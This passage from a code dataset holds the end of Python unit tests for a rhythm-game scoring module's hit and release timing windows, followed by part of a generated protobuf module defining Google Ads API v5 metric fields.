StdScoreData.TYPE_HITR, f'Offset: {offset} ms') elif settings.pos_rel_range < offset <= settings.pos_rel_miss_range: self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOTE, f'Offset: {offset} ms') self.assertEqual(score_data[0][6], StdScoreData.TYPE_MISS, f'Offset: {offset} ms') elif settings.pos_rel_miss_range < offset: self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms') self.assertEqual(len(score_data), 0, f'Offset: {offset} ms') else: self.fail('Testing error!') def test_slider_end_release_nomisaim__range_nowindow_miss(self): settings = StdScoreData.Settings() settings.release_range = True settings.release_window = False settings.release_miss = True # Set hitwindow ranges to what these tests have been written for settings.pos_hit_range = 300 # ms point of late hit window settings.neg_hit_range = 300 # ms point of early hit window settings.pos_hit_miss_range = 450 # ms point of late miss window settings.neg_hit_miss_range = 450 # ms point of early miss window settings.pos_rel_range = 500 # ms point of late release window settings.neg_rel_range = 500 # ms point of early release window settings.pos_rel_miss_range = 1000 # ms point of late release window settings.neg_rel_miss_range = 1000 # ms point of early release window # Time: 0 ms -> 3000 ms # Location: At slider release (300, 0) # Scoring: Awaiting release at slider end (750 ms @ (300, 0)) for ms in range(0, 3000): score_data = {} adv = StdScoreData._StdScoreData__process_release(settings, score_data, self.map_data.iloc[3:], ms, 300, 0) offset = ms - self.map_data.iloc[3]['time'] self.assertEqual(adv, StdScoreData._StdScoreData__ADV_AIMP, f'Offset: {offset} ms') self.assertEqual(score_data[0][6], StdScoreData.TYPE_HITR, f'Offset: {offset} ms') def test_slider_end_release_nomisaim__range_window_nomiss(self): settings = StdScoreData.Settings() settings.release_range = True settings.release_window = True settings.release_miss = False # Set hitwindow ranges to what these tests have been written for settings.pos_hit_range = 300 # ms point of late hit window settings.neg_hit_range = 300 # ms point of early hit window settings.pos_hit_miss_range = 450 # ms point of late miss window settings.neg_hit_miss_range = 450 # ms point of early miss window settings.pos_rel_range = 500 # ms point of late release window settings.neg_rel_range = 500 # ms point of early release window settings.pos_rel_miss_range = 1000 # ms point of late release window settings.neg_rel_miss_range = 1000 # ms point of early release window # Time: 0 ms -> 3000 ms # Location: At slider release (300, 0) # Scoring: Awaiting release at slider end (750 ms @ (300, 0)) for ms in range(0, 3000): score_data = {} adv = StdScoreData._StdScoreData__process_release(settings, score_data, self.map_data.iloc[3:], ms, 300, 0) offset = ms - self.map_data.iloc[3]['time'] if offset <= -settings.neg_rel_miss_range: self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms') self.assertEqual(len(score_data), 0, f'Offset: {offset} ms') elif -settings.neg_rel_miss_range < offset <= -settings.neg_rel_range: self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms') self.assertEqual(len(score_data), 0, f'Offset: {offset} ms') elif -settings.neg_rel_range < offset <= settings.pos_rel_range: self.assertEqual(adv, StdScoreData._StdScoreData__ADV_AIMP, f'Offset: {offset} ms') self.assertEqual(score_data[0][6], StdScoreData.TYPE_HITR, f'Offset: {offset} ms') elif settings.pos_rel_range < offset <= settings.pos_rel_miss_range: self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms') self.assertEqual(len(score_data), 0, f'Offset: {offset} ms') elif settings.pos_rel_miss_range < offset: self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms') self.assertEqual(len(score_data), 0, f'Offset: {offset} ms') else: self.fail('Testing error!') def test_slider_end_release_nomisaim__norange_window_miss(self): settings = StdScoreData.Settings() settings.release_range = False settings.release_window = True settings.release_miss = True # Set hitwindow ranges to what these tests have been written for settings.pos_hit_range = 300 # ms point of late hit window settings.neg_hit_range = 300 # ms point of early hit window settings.pos_hit_miss_range = 450 # ms point of late miss window settings.neg_hit_miss_range = 450 # ms point of early miss window settings.pos_rel_range = 500 # ms point of late release window settings.neg_rel_range = 500 # ms point of early release window settings.pos_rel_miss_range = 1000 # ms point of late release window settings.neg_rel_miss_range = 1000 # ms point of early release window # Time: 0 ms -> 3000 ms # Location: At slider release (300, 0) # Scoring: Awaiting release at slider end (750 ms @ (300, 0)) for ms in range(0, 3000): score_data = {} adv = StdScoreData._StdScoreData__process_release(settings, score_data, self.map_data.iloc[3:], ms, 300, 0) offset = ms - self.map_data.iloc[3]['time'] if offset <= -settings.neg_rel_miss_range: self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms') self.assertEqual(len(score_data), 0, f'Offset: {offset} ms') elif -settings.neg_rel_miss_range < offset <= -settings.neg_rel_range: self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOTE, f'Offset: {offset} ms') self.assertEqual(score_data[0][6], StdScoreData.TYPE_MISS, f'Offset: {offset} ms') elif -settings.neg_rel_range < offset <= settings.pos_rel_range: self.assertEqual(adv, StdScoreData._StdScoreData__ADV_AIMP, f'Offset: {offset} ms') self.assertEqual(score_data[0][6], StdScoreData.TYPE_HITR, f'Offset: {offset} ms') elif settings.pos_rel_range < offset <= settings.pos_rel_miss_range: self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOTE, f'Offset: {offset} ms') self.assertEqual(score_data[0][6], StdScoreData.TYPE_MISS, f'Offset: {offset} ms') elif settings.pos_rel_miss_range < offset: self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms') self.assertEqual(len(score_data), 0, f'Offset: {offset} ms') else: self.fail('Testing error!') def test_circle_nomisaim(self): settings = StdScoreData.Settings() # Set hitwindow ranges to what these tests have been written for settings.pos_hit_range = 300 # ms point of late hit window settings.neg_hit_range = 300 # ms point of early hit window settings.pos_hit_miss_range = 450 # ms point of late miss window settings.neg_hit_miss_range = 450 # ms point of early miss window settings.pos_rel_range = 500 # ms point of late release window settings.neg_rel_range = 500 # ms point of early release window settings.pos_rel_miss_range = 1000 # ms point of late release window settings.neg_rel_miss_range = 1000 # ms point of early release window # Time: 0 ms -> 3000 ms # Location: At 1st hitcircle (500, 500) # Scoring: Awaiting press at hitcircle (1000 ms @ (500, 500)) # Behavior: # Scorepoint awaits PRESS -> NOP # -> NOP for ms in range(0, 3000): score_data = {} adv = StdScoreData._StdScoreData__process_release(settings, score_data, self.map_data.iloc[1:], ms, 500, 500) offset = ms - self.map_data.iloc[1]['time'] self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms') self.assertEqual(len(score_data), 0, f'Offset: {offset} ms')
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312ec1b772b969f81d91d8a597563620b0cb2b43
148,599
py
Python
google/ads/google_ads/v5/proto/common/metrics_pb2.py
arammaliachi/google-ads-python
a4fe89567bd43eb784410523a6306b5d1dd9ee67
[ "Apache-2.0" ]
1
2021-04-09T04:28:47.000Z
2021-04-09T04:28:47.000Z
google/ads/google_ads/v5/proto/common/metrics_pb2.py
arammaliachi/google-ads-python
a4fe89567bd43eb784410523a6306b5d1dd9ee67
[ "Apache-2.0" ]
null
null
null
google/ads/google_ads/v5/proto/common/metrics_pb2.py
arammaliachi/google-ads-python
a4fe89567bd43eb784410523a6306b5d1dd9ee67
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: google/ads/googleads_v5/proto/common/metrics.proto from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() from google.ads.google_ads.v5.proto.enums import interaction_event_type_pb2 as google_dot_ads_dot_googleads__v5_dot_proto_dot_enums_dot_interaction__event__type__pb2 from google.ads.google_ads.v5.proto.enums import quality_score_bucket_pb2 as google_dot_ads_dot_googleads__v5_dot_proto_dot_enums_dot_quality__score__bucket__pb2 from google.api import annotations_pb2 as google_dot_api_dot_annotations__pb2 DESCRIPTOR = _descriptor.FileDescriptor( name='google/ads/googleads_v5/proto/common/metrics.proto', package='google.ads.googleads.v5.common', syntax='proto3', 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, dependencies=[google_dot_ads_dot_googleads__v5_dot_proto_dot_enums_dot_interaction__event__type__pb2.DESCRIPTOR,google_dot_ads_dot_googleads__v5_dot_proto_dot_enums_dot_quality__score__bucket__pb2.DESCRIPTOR,google_dot_api_dot_annotations__pb2.DESCRIPTOR,]) _METRICS = _descriptor.Descriptor( name='Metrics', full_name='google.ads.googleads.v5.common.Metrics', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='absolute_top_impression_percentage', full_name='google.ads.googleads.v5.common.Metrics.absolute_top_impression_percentage', index=0, number=183, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='active_view_cpm', full_name='google.ads.googleads.v5.common.Metrics.active_view_cpm', index=1, number=184, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='active_view_ctr', full_name='google.ads.googleads.v5.common.Metrics.active_view_ctr', index=2, number=185, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='active_view_impressions', full_name='google.ads.googleads.v5.common.Metrics.active_view_impressions', index=3, number=186, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='active_view_measurability', full_name='google.ads.googleads.v5.common.Metrics.active_view_measurability', index=4, number=187, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='active_view_measurable_cost_micros', full_name='google.ads.googleads.v5.common.Metrics.active_view_measurable_cost_micros', index=5, number=188, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='active_view_measurable_impressions', full_name='google.ads.googleads.v5.common.Metrics.active_view_measurable_impressions', index=6, number=189, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='active_view_viewability', full_name='google.ads.googleads.v5.common.Metrics.active_view_viewability', index=7, number=190, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='all_conversions_from_interactions_rate', full_name='google.ads.googleads.v5.common.Metrics.all_conversions_from_interactions_rate', index=8, number=191, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='all_conversions_value', full_name='google.ads.googleads.v5.common.Metrics.all_conversions_value', index=9, number=192, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='all_conversions', full_name='google.ads.googleads.v5.common.Metrics.all_conversions', index=10, number=193, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='all_conversions_value_per_cost', full_name='google.ads.googleads.v5.common.Metrics.all_conversions_value_per_cost', index=11, number=194, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='all_conversions_from_click_to_call', full_name='google.ads.googleads.v5.common.Metrics.all_conversions_from_click_to_call', index=12, number=195, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='all_conversions_from_directions', full_name='google.ads.googleads.v5.common.Metrics.all_conversions_from_directions', index=13, number=196, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='all_conversions_from_interactions_value_per_interaction', full_name='google.ads.googleads.v5.common.Metrics.all_conversions_from_interactions_value_per_interaction', index=14, number=197, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='all_conversions_from_menu', full_name='google.ads.googleads.v5.common.Metrics.all_conversions_from_menu', index=15, number=198, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='all_conversions_from_order', full_name='google.ads.googleads.v5.common.Metrics.all_conversions_from_order', index=16, number=199, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='all_conversions_from_other_engagement', full_name='google.ads.googleads.v5.common.Metrics.all_conversions_from_other_engagement', index=17, number=200, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='all_conversions_from_store_visit', full_name='google.ads.googleads.v5.common.Metrics.all_conversions_from_store_visit', index=18, number=201, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='all_conversions_from_store_website', full_name='google.ads.googleads.v5.common.Metrics.all_conversions_from_store_website', index=19, number=202, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='average_cost', full_name='google.ads.googleads.v5.common.Metrics.average_cost', index=20, number=203, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='average_cpc', full_name='google.ads.googleads.v5.common.Metrics.average_cpc', index=21, number=204, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='average_cpe', full_name='google.ads.googleads.v5.common.Metrics.average_cpe', index=22, number=205, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='average_cpm', full_name='google.ads.googleads.v5.common.Metrics.average_cpm', index=23, number=206, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='average_cpv', full_name='google.ads.googleads.v5.common.Metrics.average_cpv', index=24, number=207, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='average_page_views', full_name='google.ads.googleads.v5.common.Metrics.average_page_views', index=25, number=208, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='average_time_on_site', full_name='google.ads.googleads.v5.common.Metrics.average_time_on_site', index=26, number=209, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='benchmark_average_max_cpc', full_name='google.ads.googleads.v5.common.Metrics.benchmark_average_max_cpc', index=27, number=210, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='benchmark_ctr', full_name='google.ads.googleads.v5.common.Metrics.benchmark_ctr', index=28, number=211, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='bounce_rate', full_name='google.ads.googleads.v5.common.Metrics.bounce_rate', index=29, number=212, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='clicks', full_name='google.ads.googleads.v5.common.Metrics.clicks', index=30, number=131, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='combined_clicks', full_name='google.ads.googleads.v5.common.Metrics.combined_clicks', index=31, number=156, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, 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full_name='google.ads.googleads.v5.common.Metrics.conversion_last_received_request_date_time', index=36, number=161, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='conversion_last_conversion_date', full_name='google.ads.googleads.v5.common.Metrics.conversion_last_conversion_date', index=37, number=162, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='content_rank_lost_impression_share', full_name='google.ads.googleads.v5.common.Metrics.content_rank_lost_impression_share', index=38, number=163, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='conversions_from_interactions_rate', full_name='google.ads.googleads.v5.common.Metrics.conversions_from_interactions_rate', index=39, number=164, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='conversions_value', full_name='google.ads.googleads.v5.common.Metrics.conversions_value', index=40, number=165, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='conversions_value_per_cost', full_name='google.ads.googleads.v5.common.Metrics.conversions_value_per_cost', index=41, number=166, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='conversions_from_interactions_value_per_interaction', full_name='google.ads.googleads.v5.common.Metrics.conversions_from_interactions_value_per_interaction', index=42, number=167, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='conversions', full_name='google.ads.googleads.v5.common.Metrics.conversions', index=43, number=168, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='cost_micros', full_name='google.ads.googleads.v5.common.Metrics.cost_micros', index=44, number=169, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='cost_per_all_conversions', full_name='google.ads.googleads.v5.common.Metrics.cost_per_all_conversions', index=45, number=170, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='cost_per_conversion', full_name='google.ads.googleads.v5.common.Metrics.cost_per_conversion', index=46, number=171, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='cost_per_current_model_attributed_conversion', full_name='google.ads.googleads.v5.common.Metrics.cost_per_current_model_attributed_conversion', index=47, number=172, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='cross_device_conversions', full_name='google.ads.googleads.v5.common.Metrics.cross_device_conversions', index=48, number=173, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='ctr', full_name='google.ads.googleads.v5.common.Metrics.ctr', index=49, number=174, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='current_model_attributed_conversions', full_name='google.ads.googleads.v5.common.Metrics.current_model_attributed_conversions', index=50, number=175, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='current_model_attributed_conversions_from_interactions_rate', full_name='google.ads.googleads.v5.common.Metrics.current_model_attributed_conversions_from_interactions_rate', index=51, number=176, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='current_model_attributed_conversions_from_interactions_value_per_interaction', full_name='google.ads.googleads.v5.common.Metrics.current_model_attributed_conversions_from_interactions_value_per_interaction', index=52, number=177, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='current_model_attributed_conversions_value', full_name='google.ads.googleads.v5.common.Metrics.current_model_attributed_conversions_value', index=53, number=178, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='current_model_attributed_conversions_value_per_cost', full_name='google.ads.googleads.v5.common.Metrics.current_model_attributed_conversions_value_per_cost', index=54, number=179, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='engagement_rate', full_name='google.ads.googleads.v5.common.Metrics.engagement_rate', index=55, number=180, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='engagements', full_name='google.ads.googleads.v5.common.Metrics.engagements', index=56, number=181, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='hotel_average_lead_value_micros', full_name='google.ads.googleads.v5.common.Metrics.hotel_average_lead_value_micros', index=57, number=213, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='hotel_price_difference_percentage', full_name='google.ads.googleads.v5.common.Metrics.hotel_price_difference_percentage', index=58, number=214, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='hotel_eligible_impressions', full_name='google.ads.googleads.v5.common.Metrics.hotel_eligible_impressions', index=59, number=215, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='historical_creative_quality_score', full_name='google.ads.googleads.v5.common.Metrics.historical_creative_quality_score', index=60, number=80, type=14, cpp_type=8, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='historical_landing_page_quality_score', full_name='google.ads.googleads.v5.common.Metrics.historical_landing_page_quality_score', index=61, number=81, type=14, cpp_type=8, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='historical_quality_score', full_name='google.ads.googleads.v5.common.Metrics.historical_quality_score', index=62, number=216, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='historical_search_predicted_ctr', full_name='google.ads.googleads.v5.common.Metrics.historical_search_predicted_ctr', index=63, number=83, type=14, cpp_type=8, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='gmail_forwards', full_name='google.ads.googleads.v5.common.Metrics.gmail_forwards', index=64, number=217, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='gmail_saves', full_name='google.ads.googleads.v5.common.Metrics.gmail_saves', index=65, number=218, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='gmail_secondary_clicks', full_name='google.ads.googleads.v5.common.Metrics.gmail_secondary_clicks', index=66, number=219, type=3, cpp_type=2, label=1, 